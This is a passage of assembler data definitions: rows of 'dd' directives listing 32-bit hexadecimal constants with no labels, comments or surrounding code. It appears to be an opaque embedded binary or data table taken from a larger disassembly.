dd 46F8023h, 6568D360h, 59B1D660h, 3E732Fh, 1757B81Ch
dd 1EF11470h, 0D1E99302h, 0E06798F5h, 3DFD90h, 715F15D7h
dd 0E6130470h, 2B51EF14h, 0BE670BD8h, 0BD08824Fh, 0F928506Ah
dd 0A6B27094h, 0C5346850h, 0E2A57689h, 0C15440B0h, 4BEC6F53h
dd 0AD0004CAh, 0A6411225h, 6C009CA5h, 0D3CA51EDh, 4A35D9Fh
dd 896AB667h, 0ACB98Dh, 6E5A2C98h, 24788455h, 550DB9Ah
dd 44AFBBBh, 1D8AFAD8h, 86E49165h, 0B2807C7Ch, 887D1130h
dd 0D1006773h, 1E5648FEh, 693FABA9h, 1CE3A13Dh, 7C7E209Ch
dd 0C3A701BBh, 5DD586DBh, 82F04454h, 67207FFCh, 2F6BCB3h
dd 0FF0EB819h, 44D96C68h, 4B9E1800h, 0DD50AFh, 553B7EE4h
dd 83392D8Fh, 704AA4BEh, 88F9EA05h, 0B3EFDD83h, 4E2C64EEh
dd 5818F848h, 81A8C0F8h, 0BE4A9Ch, 9003F7E5h, 9EFC4185h
dd 2B8FC4A8h, 1CD0F84Ah, 5888134Fh, 24C524C5h, 0BCDCC806h
dd 0CE4F8F05h, 9C21084Bh, 9E0F68Bh, 9E209A67h, 109B4770h
dd 61FA8CABh, 2A00B0FEh, 0F9CE01CCh, 0F0C5269h, 24569496h
dd 90534D89h, 5B8AC780h, 1B8DFFh, 0B6C81DBAh, 0A6023F39h
dd 0BC079C91h, 1E64C373h, 470E48F3h, 55602AA9h, 1770B3FBh
dd 4B2BCEEh, 6967B502h, 0C980C1AEh, 76DA7690h, 61C4444Ch
dd 7C40058Ch, 6295E23Dh
dd 0FE41117Eh, 8D425C7Ch, 58EC4869h, 7B28C93Eh, 6E8F2CD3h
dd 0A0B900BFh, 961D3Eh, 8F586089h, 0BCDA7ABBh, 34C8884Eh
dd 0DD721D0Dh, 5FC147BEh, 4C6A005Ch, 4011E94h, 31AC09EBh
dd 0DC4405A4h, 4F0318B9h, 81BCDF90h, 0F0C0B080h, 7073244Eh
dd 7020E5AEh, 136F14FAh, 9546F3A5h, 0D9A68680h, 0BC562400h
dd 0D13AC3E0h, 4A0B268h, 0BD31B884h, 1CA4818Ah, 13FE1288h
dd 17802EE1h, 10226860h, 915F6FBEh, 88903480h, 0F900DB48h
dd 7F14C482h, 38ED191Ah, 147528A9h, 440141C1h, 4E77D85Ch
dd 0A2380269h, 8840D247h, 852DBE43h, 3864B4h, 749A195Eh
dd 0DE0B7866h, 49EE3A09h, 34D17Eh, 2B60ADC8h, 0CD057529h
dd 0C2765FA2h, 0E452E453h, 90C0B094h, 7CA6C8F4h, 5B40F6E5h
dd 0DF58478Ch, 7910099h, 0DE00F5B7h, 96460D1Eh, 16FF4C90h
dd 0B985A29h, 0F005A560h, 0DCB020F8h, 6604E911h, 0E5D955C6h
dd 588940B0h, 0E0530B3h, 70FB4Bh, 0AE8E057Ch, 1096BA4h
dd 2AAD9868h, 0A61D602Ch, 0CA884B22h, 173E7B40h, 284E00F3h
dd 64EB6CFBh, 0ECECFAh, 5E8F2F54h, 0A78D0C41h, 84CC3D13h
dd 9BDF6861h, 9489E845h, 0E99CCCh, 0E00831E1h, 0FDAF5102h
dd 32677444h, 23B81C6Bh, 85421E20h, 20A8987Ch, 581F7BD5h
dd 419366E1h, 0D82F2804h, 0A444AD5Dh, 1B097E00h, 49913A37h
dd 4F360026h, 56A4BCD7h, 2909088Ch, 0E468837Eh, 0A66C0094h
dd 7BBD49B1h, 6D002DD8h, 85C0059Fh, 2D51FCC2h, 34CCD42Ch
dd 25E9C400h, 5511071Dh, 17BFE4Bh, 54FDF380h, 609112AAh
dd 0C600E45Dh, 0FE1EA341h, 74382B5h, 0E57BFB5Fh, 0EC4024CEh
dd 0ED8480F4h, 407A216h, 0EDD2FF6h, 1100BCC8h, 0B782389h
dd 0B84BBB2Bh, 0EC461009h, 0A4D4A000h, 1B51F465h, 9DB7002Bh
dd 784186CBh, 3A1667C2h, 0A400CCCDh, 0E5BBC98Fh, 0B722F0A5h
dd 0DA88A038h, 2E52080Bh, 2F988256h, 0E58C0446h, 1FEBC04Ch
dd 309AE200h, 6635D2C7h, 9F411879h, 0FC43380Ah, 0BB64B0h
dd 0C54709h, 0EC1CA65Bh, 18980053h, 473FF71h, 7712960Dh
dd 0C890601Fh, 73F2A27h, 1A4870F5h, 9BFDC0CEh, 6A7FC1C7h
dd 628B0E0Bh, 30C400D8h, 0B8D3FABEh, 678F440Ch, 3800ECA6h
dd 775D5F13h, 77EC01C7h, 0D7D90456h, 805CA292h, 0BA76DBB4h
dd 0FD40DCB4h, 2E0BD41h, 8C1E9593h, 10D48860h, 596C88Bh
dd 4CAC3FBBh, 47BA1298h, 0ED072603h, 7D2F9783h, 417C4038h
dd 0BA0B70B3h, 5E8804BFh, 0DCF30302h, 0A5108440h, 3BECB1h
dd 0CF537EF7h, 5C4ACC0Bh, 8C589CB6h, 0B109D44Ch, 60FADBECh
dd 47B3D21h, 0C12B9819h, 63413E6Ch, 0C38127B4h, 0C0B7AD1Ch
dd 93F01100h, 0B74A722Ch, 150FD14h, 0FA5101EAh, 0C9BF3317h
dd 128642C8h, 0A159F061h, 3AC2C660h, 1900ACC5h, 20A8C6ECh
dd 0F8CDE255h, 82FA02E3h, 0F80331D0h, 0E7638460h, 1E3ABF04h
dd 9CE4A5F7h, 4C60007Eh, 0AE4004A8h, 489C7DC2h, 3824C052h
dd 408D4F03h, 0DFE50F4h, 4CE4841Dh, 6D694D00h, 0F3AFBCEDh
dd 17E9E6ACh, 0C8E81E59h, 4D0029ECh, 0F8D46A58h, 1E1C50F3h
dd 3814AEh, 2B045D27h, 0D95D629Dh, 48C0CAB8h, 0BC83BA90h
dd 0E2DD75CFh, 90FE213Ch, 84CA81A4h, 586D98E3h, 0A91B9002h
dd 8C0C63Eh, 13009620h, 5E30C968h, 0B4ED4024h, 0E63540A4h
dd 6601D6D2h, 7560E374h, 0F5D07D9Bh, 878C010Dh, 0E770C02Eh
dd 34032A67h, 0A3F4234Dh, 25CE9862h, 1F2012BEh, 0E1AC3026h
dd 6E1D7F81h, 7443A43Bh, 0D80B551Eh, 128E19h, 57C34E09h
dd 16042168h, 0BCD43609h, 0B0D8D80Ch, 0C38C44F8h, 80F051D2h
dd 0B0F0B057h, 0EDD11288h, 4A226h, 2EACB43Bh, 25FA6Fh
dd 8180D7C2h, 492F1426h, 0BAD36800h, 38290FDAh, 44FD5E4Eh
dd 0B10624D8h, 88306F2Ch, 69CC01h, 1A9373FAh, 8379B5E6h
dd 0D8BCCE5Ah, 0A5130900h, 6F69DF18h, 5B842A16h, 32B0E4h
dd 2128165Fh, 6F27245Dh, 0FE59C600h, 0AF0D1F06h, 4BE43A69h
dd 1C72D7D1h, 1BBC5000h, 0C7AA480Ch, 283DFA04h, 0F8ACFDF6h
dd 5F22847Fh, 0D565010Ch, 20D12DF4h, 2A70F4C8h, 98691E04h
dd 0AE094659h, 4F1704D1h, 247C8041h, 78443338h, 2B5E0F4h
dd 0AC9C27F6h, 0DB20AB99h, 3397EE2h, 55F02F04h, 69E3B6ADh
dd 7A4017A9h, 1E2BA802h, 484A0E7h, 363738Ah, 0F0E07B7Ch
dd 0C98ADDC8h, 986A0860h, 5A34A095h, 2ECB22ECh, 4070A388h
dd 0E4C05EE8h, 8079570Ch, 704A5089h, 0C9544E43h, 402FFA50h
dd 0A9C6AAA4h, 55E600F2h, 573E6876h, 0F0B8883Ch, 80B05491h
dd 0A6EEA9Bh, 6DA3BADAh, 884C80B8h, 42094362h, 0C0083B9Fh
dd 604E3Ah, 0D2F63F7Ch, 863D9765h, 58AE1E28h, 74E1A40Eh
dd 483B40F3h, 0FE6D4FB5h, 1E340BF1h, 64F14B1Ah, 0B51D8B06h
dd 0DE2C31A0h, 3A014161h, 977D4028h, 65DD7D60h, 4AF74500h
dd 0ECC130DEh, 986E279Bh, 267F1CA0h, 0F22F15CEh, 0DD208114h
dd 326F2440h, 0B211F488h, 123E4ECDh, 0ABD430E8h, 0DA078902h
dd 0DD4CF546h, 4B1EA070h, 39BEE7F6h, 76270103h, 0BD883F7h
dd 0A54AE41Bh, 0D95408D0h, 4EC00057h, 0ABB975B5h, 0CA1F5B78h
dd 1D8B0DD2h, 0E40C6468h, 821800EEh, 0A640F111h, 6904158Dh
dd 8ADD12A9h, 39C408BDh, 0F88F0A6Fh, 80A3CF6Fh, 0EA88F367h
dd 7C7FEC2Bh, 0FCC3388Bh, 3F804CBh, 5718C289h, 90F49B24h
dd 5B80166h, 18D7A1B7h, 92D20ADh, 869C0809h, 4AC0D8B2h
dd 31C41FCh, 306E9EF5h, 7F168544h, 0BCB3C265h, 419D503Eh
dd 394B004Ch, 182B02ACh, 8ABA6913h, 1DB2CC8Ch, 284B8143h
dd 3FF322ACh, 0B037A49Bh, 8447914Fh, 43A02D0Dh, 66840CE8h
dd 0FED43Ch, 0BA42F8FAh, 0A189BBB9h, 10BF881Ch, 0A08C2FC2h
dd 589CD710h, 0B829026Ch, 99F87815h, 6DFBD4C0h, 3A762240h
dd 0D85AB5A2h, 4801B85Ch, 0D1C7F682h, 89C92CF7h, 24701AD9h
dd 4040BEB2h, 0B65B2572h, 8602427Dh, 0BB7641A8h, 40BC76E1h
dd 799A9508h, 15F3CCE9h, 0E4363805h, 0FCB7FD83h, 0E028204Bh
dd 8D005618h, 0F274F85Eh, 3CBB9Eh, 79962D14h, 7565398Ah
dd 0FD18AF04h, 8A0D351h, 45B4A610h, 2542880h, 3EFB4366h
dd 9BF422B9h, 0A9409454h, 27B5AC9h, 0DF83FF58h, 0B4E0FD20h
dd 0C0C20FAFh, 0D991577Ah, 77BE8880h, 80D08C14h, 0B913DBCDh
dd 0F8370929h, 0F090A5FDh, 8A0F6836h, 0E28003E6h, 0C3EFEDF3h
dd 8B980243h, 0C2E2FB41h, 0EF70520h, 943800ABh, 9D13CADCh
dd 1E50016Eh, 0E5007ABCh, 0D1E11126h, 0B19AB410h, 775100F8h
dd 0BD69C94Eh, 20930A25h, 372A0234h, 0B70710Eh, 0DD1C1562h
dd 0A8D98062h, 56C0003Ah, 6DFF6E7Ah, 3FAD098Fh, 54194E2Eh
dd 0E5031125h, 0AF858840h, 3A84A0C4h, 0CEE49641h, 4A9790E0h
dd 7B006DFEh, 50C2B3B0h, 0D83071h, 890B5B5Eh, 526491A5h
dd 438D0C11h, 62C40D00h, 240960B7h, 0CAF5F004h, 54F5423Eh
dd 0A828206Eh, 0C7000F93h, 4352502Ah, 0F9BEABFEh, 6FA8316Eh
dd 5072F8B5h, 0A4EDD600h, 122FD2ABh, 0A6AC3E0Ah, 5B824C0Bh
dd 872454C4h, 0A2605840h, 17103FF2h, 315566h, 0E9B23D4Ch
dd 0F3254125h, 144C89h, 0B04FCAD2h, 3DC5E134h, 0AF00B5F8h
dd 97AA9942h, 28AD12FCh, 329CDB39h, 6F7057E7h, 811D10F1h
dd 84BE2222h, 9DD41D50h, 18248E03h, 3EC6AE13h, 0A00E4479h
dd 9193DB88h, 10C3C2C0h, 16D1F8E8h, 16BF18DEh, 0F9AC8848h
dd 5C28A24Bh, 61DA002Dh
dd 0B8EA410Fh, 2C017C3Eh, 0DDA17883h, 207B43FEh, 0C6D14850h
dd 0C77A1A24h, 0EB432D1Ch, 0BE00430h, 602496A8h, 0A3B78490h
dd 0B8D00900h, 7D516DDh, 0EC21032Bh, 0EAFBB1F2h, 925D8DD0h
dd 12AC1E50h, 0BA412913h, 0A48FE888h, 1A520984h, 8049B96Fh
dd 8402F65h, 2486D7F6h, 71490B4Dh, 8580C6E4h, 40A8C0AEh
dd 10AB74A1h, 0F0FF04h, 9CED126Fh, 0FE3CB1DFh, 832A6907h
dd 61E7C168h, 803EA6F1h, 6B10A07Dh, 0F8214B22h, 34C4CFCEh
dd 827E00FFh, 0E3293CD6h, 6298534Ah, 0F0A3300Ah, 1A09F02Eh
dd 8228187Dh, 569B096Ah, 1464FD1Eh, 6B43FA00h, 0EF99DCF2h
dd 80A3007Ah, 124B53D8h, 0DE058FAAh, 84EA81B0h, 0AE12BCE2h
dd 0CAC8A2CCh, 1E85F488h, 70E067B5h, 8028BE5Fh, 1AE04531h
dd 0E3A4692h, 269C4D8Dh, 1E958CBEh, 52409B8h, 1A8051D8h
dd 38F1F9ADh, 7700CA1Fh, 0B9651D04h, 0EDDD0061h, 0EA8AE62Fh
dd 0D000BADFh, 0F3EF1226h, 0FC247AB6h, 98109742h, 189031ECh
dd 34B44090h, 0F60DAD40h, 0FBDC002Fh, 47BCA1B9h, 0ED0E611Ch
dd 6BEA13B2h, 64CCC168h, 4C201802h, 4FBF1E03h, 7864882Dh
dd 0AD5A2405h, 0D080DB9Dh, 16F11D05h, 35332D86h, 8EA780E4h
dd 81DD56Ah, 34976EA0h, 10804F2h, 2A89BEA7h, 106E4Bh, 9571E135h
dd 9247A7B5h, 57E8A900h, 22EAADA3h, 8A7B053Eh, 2C014B11h
dd 13007DA0h, 542A0964h, 4D93A20h, 0B5EFA9EAh, 484CB8D2h
dd 9C7C02Ch, 3DE830Eh, 0A0BB3E8Ah, 6C98BED5h, 250FACBFh
dd 81A16504h, 0F9AE2167h, 5F2E3862h, 79414068h, 0CFFC5596h
dd 0A2679500h, 24885931h, 7DDB2538h, 7AE02CCCh, 36D6700h
dd 60E72661h, 68B70517h, 0BA4939h, 0D2C8FEA0h, 353C7A9Bh
dd 4FCB0090h, 0FD3CC568h, 36B9005Ch, 63FC6B02h, 563DEAAAh
dd 40330015h, 0DBCB71ACh, 0AEE1007Ch, 355BA5D5h, 6118F558h
dd 66286032h, 0AF0D0096h, 8FFB4B6h, 9A076C1Bh, 5AB1F819h
dd 138ACC41h, 0F7109DCh, 0E23AF278h, 169883ECh, 49C06FE0h
dd 0F5BFDAA2h, 0FE2B0C58h, 0FB193188h, 0A5D9C100h, 5B525E72h
dd 0F9EA1D7Dh, 63BF802Bh, 97DA96B8h, 5C408A03h, 35882Dh
dd 32A23B39h, 0CEDF61Dh, 0CA05310Eh, 4065E339h, 2224F8E9h
dd 0EAE31FFEh, 8DE0809Fh, 6853994Eh, 218440D0h, 2A300A5Ah
dd 0DBC9052Ch, 0DD88028Ah, 91204C9Dh, 0E0AA28CAh, 33FE00CCh
dd 0A829FF81h, 40C813D3h, 5B9B4326h, 0AB535900h, 5AD4CC31h
dd 0B80C0044h, 0D9CAB512h, 3018A9C2h, 60282BDAh, 8B16088h
dd 0B6F95915h, 0BBC65F00h, 195B8AE8h, 0D004001Eh, 3B556A53h
dd 61DD5097h, 1F275643h, 71B5D05Fh, 0A173000Ah, 0E0B3A5F7h
dd 618CF49h, 0F3993B88h, 73550E47h, 0F5CA0BBCh, 277DC0F8h
dd 88317069h, 160A89ABh, 35B43E8h, 0BB347A78h, 9280E840h
dd 5D0335B3h, 2BBEB2B8h, 174CC984h, 3E289081h, 4855ADF5h
dd 0AE608AACh, 1696B051h, 41690007h, 1C3CBBADh, 3800C088h
dd 1252F645h, 1DB110BEh, 7F08AE14h, 13B9C430h, 6E0EC0B6h
dd 4675E39Dh, 426929CCh, 6BAC0060h, 0F1B405ECh, 10502463h
dd 224B0094h, 0B24F3BBAh, 198980E3h, 6ECE28EAh, 31392A65h
dd 3DA000C0h, 66482CD9h, 0C8017C5Fh, 101B0C7Eh, 24409E3Eh
dd 503F1944h, 18914C3Ah, 112E8809h, 8F0F2B2Ah, 0C535C781h
dd 0DB1E546Eh, 0AA41F200h, 0A0CE30D3h, 0B8297D38h, 0FC8693h
dd 0F48598B2h, 0D6A3FF76h, 316ED900h, 80618C57h, 9E430049h
dd 0E6AA2A2Bh, 48C633A1h, 51FE39h, 8D90C3C9h, 1736F4F3h
dd 0BF9A9891h, 51049861h, 21101EAAh, 3D98C7E7h, 8281A97h
dd 0C800BAA0h, 8D94BB5Bh, 7381038Ch, 0B3369CD2h, 0F48066C3h
dd 0AC033F21h, 8B5C1655h, 92580C54h, 0B0481447h, 3207B705h
dd 280BE35h, 3F249462h, 0D93E2E3Eh, 95846C85h, 6660410Eh
dd 0CC279846h, 0DC735CF8h, 4F7A917Ch, 357B20h, 3B68ED19h
dd 3041CDE9h, 612B5303h, 73D88F5h, 0BCC832D9h, 86279029h
dd 0DF013B73h, 0A6E0EEA4h, 39D8FEACh, 47EE05Bh, 0D4E1B752h
dd 4F2090E2h, 789AD197h, 39F3B50Ch, 7C9928h, 0CF8CEF8Ah
dd 3EC3A559h, 23B51A00h, 0E3CA8546h, 0E930EE8Dh, 3716EC48h
dd 0C6916B2Bh, 0F0A161D8h, 0B5C986F6h, 719584Eh, 8AF0F140h
dd 0E7E340BEh, 0A898E4FBh, 921359C4h, 323A08Ch, 36D7DAF2h
dd 16E00A1Dh, 0B3008C2Dh, 251AA32h, 605E9B5h, 0E13A17FEh
dd 0DFA07919h, 1118CA57h, 0A2992288h, 1CB138h, 241CDB29h
dd 230AB10Ch, 0D93D3477h, 82BD9700h, 60DD2BEh, 885BC080h
dd 0AC0B41C3h, 0DDF24CD5h, 94E48606h, 2FFB4150h, 0B497BA0Bh
dd 5024183Dh, 0B5B70954h, 0D4018BA4h, 483A5CBEh, 6E1E8098h
dd 70C0481Ah, 294483EEh, 8AB118D5h, 36A5F9A8h, 0A4019EFAh
dd 0D91E1CAFh, 0B0C58BCBh, 0D3292180h, 0D8F108ADh, 0D4322200h
dd 0DBB2407Eh, 39E6043Fh, 95F9C1CBh, 34B5804Ch, 0E0926104h
dd 6F6BE100h, 0E31772DDh, 39D90ECh, 3B63CABBh, 0F1026989h
dd 0DA2B9AD5h, 0AB8A6391h, 9219183Ch, 6732594Fh, 0BF739900h
dd 4B087F19h, 0A81209D5h, 100255E2h, 0F5232ECDh, 0D06053B8h
dd 20E8AA16h, 80AF4F18h, 5004D9D4h, 8A08380h, 0DA073CB5h
dd 0EB40A428h, 6043AD82h, 0B0E7327Ch, 0DD31C9E0h, 9300F814h
dd 9D51DE44h, 13D142A7h, 182B96B5h, 5C332124h, 59C3A80Fh
dd 20AFAA48h, 8E073111h, 0B06C0F2Fh, 0BC131A04h, 0E5D14E01h
dd 0DC8879F5h, 23B31BFh, 0CFEE669Eh, 0C9E0853Ah, 9F91ED99h
dd 0D9813838h, 1863C074h, 0D77A75h, 0E7355346h, 17281F12h
dd 527D7300h, 0F50BA2C2h, 30EA724Eh, 0AA39B496h, 0B9C063E9h
dd 0AD744C41h, 0ABDD0C26h, 391953BBh, 0DEB80254h, 80344138h
dd 6771C3C4h, 5143D64Ah, 4C21CCE3h, 0A6B1C418h, 0C2A43B88h
dd 0F1BBB612h, 6C1060F2h, 0E0604789h, 44DBF481h, 0D8A0F5FBh
dd 0E0015C87h, 0AA2F96B4h, 0EC4852BBh, 80CCA5ADh, 2E78737Dh
dd 0B306F670h, 32B89423h, 3A251230h, 6466107Ah, 4054163Dh
dd 80B403CEh, 3A54EA13h, 2112BA13h, 51972D04h, 0FF9498C8h
dd 389B8180h, 0BDAAF0A4h, 170B349h, 1723ECB6h, 7C40E484h
dd 13960228h, 4F67D430h, 4740A410h, 68BBE65Ch, 0CCA54F24h
dd 0C7E21940h, 343E3017h, 9529CA41h, 396D9F08h, 40749E47h
dd 0FAD435DEh, 7C790A34h, 8BA18400h, 0B7DC3DCBh, 231E0B42h
dd 0A4123916h, 1428C1h, 0E202240h, 8F173006h, 8B00A9EBh
dd 0C3AB4634h, 0B34F3D0Ah, 6844ACA6h, 22C59540h, 5CB025DAh
dd 4C15B498h, 0C7303E19h, 2D0099Ah, 0E6AA0DF2h, 0E780143h
dd 5F8AA11Bh, 0D8D85D35h, 0EA01697Ah, 834FEFE2h, 64FE0B98h
dd 0FD6E3CD0h, 7395CB00h, 2CCE24BBh, 0E9A31A00h, 9CB6A439h
dd 305C0A58h, 45B8B4AAh, 20ACC425h, 9DC1ECA8h, 7798B605h
dd 0AC300116h, 31AB3B7Bh, 39B944EDh, 1CB05045h, 2A038363h
dd 179A0B28h, 4DDFA846h, 23120E72h, 15A08E32h, 7A4F52EBh
dd 93826816h, 80555C03h, 189DE92h, 0C3F7DCABh, 0E8B5D618h
dd 4B00B1EDh, 0AE4FF283h, 268CD3C1h, 881CB2D0h, 39925AECh
dd 6F888020h, 34533A7Fh, 1900B2A0h, 98BE1CBh, 787B411Ch
dd 441F0E1Ah, 0A68F324Fh, 841094CBh, 2400E37Ah, 0AE432CDBh
dd 21051BAh, 0C3BC72B8h, 0D0C315C9h, 0E33BF176h, 0E02B81EAh
dd 0AA8823CCh, 2D4E1980h, 0B8C47ADh, 0D8564600h, 697E725Dh
dd 502409D1h
dd 0E282A4E5h, 805AB4ABh, 4181DECCh, 17EC3B84h, 2EF2B4D1h
dd 0EC3C6293h, 5C304010h, 13803C2Bh, 0F6B5DFE8h, 0B0D8B46Ch
dd 27804498h, 6143A31Ch, 5B7B7A00h, 5B76277h, 41CC1288h
dd 176C008Bh, 996F2DECh, 889058F0h, 24A210EDh, 35782582h
dd 1F133C80h, 0F214DE49h, 814C6346h, 75CE12BFh, 6C00D421h
dd 0FC9EECB5h, 0F9AF10AAh, 0F5250118h, 105F9F26h, 30916AD1h
dd 80685CB0h, 940CDF02h, 0F7E8011Ah, 0E66ADBFDh, 0DCE6CEAAh
dd 0EE7CD107h, 5BD0F38Fh, 0A52458h, 72B05C13h, 0D91D540Bh
dd 5FCA3Eh, 0F493A281h, 0A0411519h, 6A76E88h, 0E73AE1D2h
dd 0CF2E086Fh, 516FA42Eh, 20941328h, 190A3A9Eh, 7CF511AEh
dd 0A6124140h, 4C149073h, 19680E5h, 0F56FB272h, 40E98469h
dd 5040DC8Ah, 0A93F17F0h, 328FB000h, 5A5F3E90h, 0E8230021h
dd 46C3861Eh, 2D518813h, 6C2344h, 0D06F0B07h, 1A9C3D8h
dd 923C5F31h, 0E9D1C2E8h, 313BFD46h, 0A1B8C6h, 7B19EB0h
dd 719A048Ah, 3E0100F0h, 0E6E1E20Eh, 85004916h, 0BBA67692h
dd 0E13043A0h, 0F82C0032h, 846F00B8h, 49F5AA40h, 0D8AB4F29h
dd 0C85FE06Fh, 0E758232h, 0E423E03Fh, 0BC4A1AE1h, 64228Bh
dd 19D59958h, 3FDE3FAh, 40E49BB3h, 3AE90580h, 4C9C6233h
dd 52007EC5h, 0A7F445C3h, 9A26A92h, 0A4A083B3h, 60E90482h
dd 0D3A62520h, 59347E47h, 0E3008882h, 7FB013AEh, 0F4FF35EBh
dd 550C5BCAh, 3977AFABh, 0E0B24C4Fh, 59480896h, 0BAB014BEh
dd 0F4F42A70h, 8094925Ch, 522E93CBh, 0E5D00EA5h, 4897DB1Dh
dd 8A492FB4h, 1260D8C0h, 0C5764E0h, 5C093F16h, 5E379618h
dd 26E438D4h, 0B02A7037h, 0ED137768h, 981EDDC9h, 9898BD58h
dd 523541F9h, 608F8A64h, 0F578FB00h, 9A02BCA1h, 2D27D4CBh
dd 0DEF08170h, 0AC60B931h, 39F5889Fh, 0A6D04B07h, 1266CC6Bh
dd 0A9883081h, 0D6AD6651h, 793AD5FEh, 0EBB88934h, 6A10315Eh
dd 16CF6217h, 40DD2084h, 79FAE6D3h, 53FB00B7h, 4B18CD04h
dd 0CC0AE531h, 0B0B5B828h, 496646h, 1E4FEAF3h, 477A5FAFh
dd 0E843944Bh, 800DF9D4h, 0EEE2DCh, 0A8110FE6h, 42EFF0A2h
dd 9659671Eh, 0DD0208ECh, 0E05EA0ACh, 1FFE388h, 4858BEA6h
dd 21CA99E9h, 0F03C075Ch, 4CC509ECh, 0A9B0CC50h, 4C056640h
dd 0DE805C34h, 0D530B445h, 819C9A54h, 0E13AC114h, 28888AF4h
dd 3246003Ah, 968648B0h, 4980FB17h, 10C1CB9h, 0AF4EE03h
dd 0D7F480F2h, 53822614h, 742C7DC4h, 61CC010h, 4D47D204h
dd 6173FC81h, 1ADC0A04h, 0A81138h, 2DAE96F8h, 2C4A9EC2h
dd 0A97264Fh, 44ACA5B3h, 0E99840C3h, 5E4714h, 0CEA93E6h
dd 46CC37FFh, 56E89C1Ah, 0AC5849B1h, 3DBD060h, 38ABA50Ah
dd 79228010h, 0E5900DCh, 7B271806h, 0B60E5AA2h, 404978EDh
dd 0BDC2DABBh, 33564092h, 2D004DFEh, 98FFCF46h, 3D2FBEB4h
dd 0B0DCB3AAh, 78ECBB80h, 0D890F454h, 0F6102517h, 34167E02h
dd 48A04BB1h, 4A80F888h, 8FC99CF9h, 8598A700h, 5BFA277Bh
dd 0F8C70081h, 0F6BFA457h, 0CC9CF44Bh, 652DFD40h, 0B7B60030h
dd 0AF8DBA5Dh, 183D370Ch, 247A72DBh, 94A8B35Eh, 591BAC05h
dd 0D0ACCC2Ah, 317A550Bh, 2E8987B8h, 0EBD27990h, 0EE7E0061h
dd 7C81C956h, 758C6F8h, 537B072Ch, 0D035A84h, 0C080B44Ah
dd 9688143Ah, 45F78FE8h, 0AF3D5260h, 9220B855h, 67809CDFh
dd 0B0B70032h, 0EF0056C7h, 5F4E96E7h, 138F584h, 27CB05C6h
dd 0D281542Ah, 32612449h, 347700C4h, 472BBD7Ch, 6FF8ADh
dd 1F442769h, 52BC0929h, 0AB3CAE06h, 7962D7h, 0CC68AD88h
dd 13BD067Bh, 309FF13Fh, 0C3EB51C1h, 0A31A0026h, 762F25DCh
dd 0ACEE69D8h, 4C90C800h, 5EA87C9Ch, 1C57001Dh, 8ABAB938h
dd 9500CE98h, 60253437h, 38842A9Ch, 0FEFC065Fh, 647B6Fh
dd 2E87B899h, 0BF1A89F5h, 85B81FF2h, 0CA9D7700h, 0D271F88Ch
dd 0BBCE377Eh, 352FC140h, 50F3D4E5h, 595A2630h, 73AEC61h
dd 89114BF8h, 127AC071h, 0D70396B0h, 0CA9A1E06h, 0A856B8F9h
dd 0A4580169h, 0CF130B0Ch, 0D6D1084h, 0FB320062h, 0C3AD9FDh
dd 0EC05C1B8h, 5006D355h, 60A42B80h, 71F16C9h, 0F43400C5h
dd 252C0E70h, 489D6930h, 335C9BEh, 5AC36047h, 19786B36h
dd 0D9C032E0h, 990D2F2Bh, 109862B3h, 1480252Ah, 424FD820h
dd 0C0286C0Ch, 301C60D9h, 57E96204h, 63004002h, 0A5FA7C21h
dd 0E8D3A256h, 1F47849h, 0E742F5EEh, 0F0BF2A50h, 5F006FC6h
dd 3873841Dh, 31EA8CD6h, 28882D68h, 1891801Ch, 44EF1554h
dd 76350065h, 48873AAAh, 0DC984D5Fh, 0F283393Fh, 0B03194A8h
dd 0D6FC23Ah, 0B9CBFDCDh, 7B357F0h, 2DD3CF38h, 6851708Ch
dd 0BBB0B244h, 0D2E73D04h, 83E815h, 0D4793830h, 99A0B501h
dd 81937437h, 5A7ABF38h, 59816626h, 35121CCBh, 0FEE0E434h
dd 3AA27200h, 0B19D6C8Eh, 9E7706BDh, 3074D0AEh, 326FFC02h
dd 80E88334h, 0A92C3858h, 83B6163h, 8035286Fh, 10A2E781h
dd 3327A4Dh, 8CDD1FF2h, 390D86EDh, 590C1DBDh, 84DECE0h
dd 8ACA2DD2h, 0A469CE0Ah, 64889680h, 362B9Bh, 0E11DBF3Ah
dd 2818DFB7h, 0D0B57E00h, 8DF7C2F6h, 0EA84116Ah, 26607FC3h
dd 0A1EB7A89h, 18830266h, 0BFB39E69h, 0CF290C48h, 0E348C850h
dd 0EA807891h, 0BE82988Ch, 0C9F8B4h, 4F3B97FAh, 9CBD5BDCh
dd 0CC77F900h, 3E0D63Eh, 0A24900FFh, 0C2B62ACAh, 45782E6Dh
dd 57C5B10Ah, 1F01442Bh, 673BBBD0h, 2C30D0E7h, 88CE30F3h
dd 0E12D8A81h, 8F040E00h, 9A954A58h, 9473507Ah, 0A09B146Bh
dd 2B1BB42Dh, 37C8510Fh, 660046E5h, 986BADD5h, 0CB8480Ah
dd 87CD961Ch, 85005859h, 680349A4h, 2051F6Fh, 8B3AFDB6h
dd 1C64041Dh, 31C0CE7Bh, 0A71674CFh, 49101BFh, 11C6671h
dd 9E144258h, 99E6ED20h, 78C00C8h, 203F5D2Fh, 0B8022BE4h
dd 34CF866Dh, 9C9E0133h, 0F8B849BEh, 23E11C5Dh, 802815E8h
dd 74200C8h, 3F1C372Bh, 6D38A05Bh, 7E80832Dh, 4E037FCAh
dd 0FE7544C0h, 88A0AFE0h, 486C9516h, 0F5384C78h, 0CF007969h
dd 0E78AB05Ah, 0DC705E09h, 0CB43126h, 0C307DF9h, 0FD27E01Dh
dd 0FD704Ch, 3C22E6BBh, 273A371h, 4C5A900h, 5FE5A058h
dd 9D324003h, 0F13F3700h, 0EB832A80h, 9EB1C360h, 0F9295698h
dd 0FB00A025h, 631E537Ah, 0D37A0Fh, 575105A0h, 9869066Bh
dd 0A5C2BD14h, 3FAC22E0h, 49681C0Ch, 12F51298h, 0CD5C001Ch
dd 0CAB2C405h, 43F65B17h, 8154DB09h, 9FFE5E58h, 6B06B423h
dd 0B12225AAh, 0B4F430Bh, 7C80754Ch, 1792CD3Fh, 9B8D2A0Fh
dd 507E6CAAh, 689A000Ch, 6741A31Eh, 696328BCh, 3BBB3A79h
dd 0CC9FFB91h, 0E8881CDAh, 9C6720A8h, 12BF4E44h, 256AC0Ah
dd 7407A7BCh, 0D4F6A400h, 0E2181DFFh, 0BD3C458Eh, 60448168h
dd 40AC490Dh, 1D9F2908h, 4467013Ch, 11D9CE81h, 3BDB020h
dd 8F8A4C6h, 803B6F00h, 56E9CC32h, 89430002h, 3EDD10CAh
dd 7501D1AEh, 3BA24F39h, 0CC527682h, 3121205Ah, 0C90036CFh
dd 0A303AC37h, 5783B1h, 0A2B0A1A0h, 7C98479Dh, 0E1BD6B16h
